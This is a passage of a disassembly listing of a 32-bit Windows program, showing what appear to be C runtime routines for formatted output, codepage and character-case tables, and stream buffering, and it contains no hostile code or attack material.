loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28A0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 26518A0h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28A076Ch ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 28A0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap 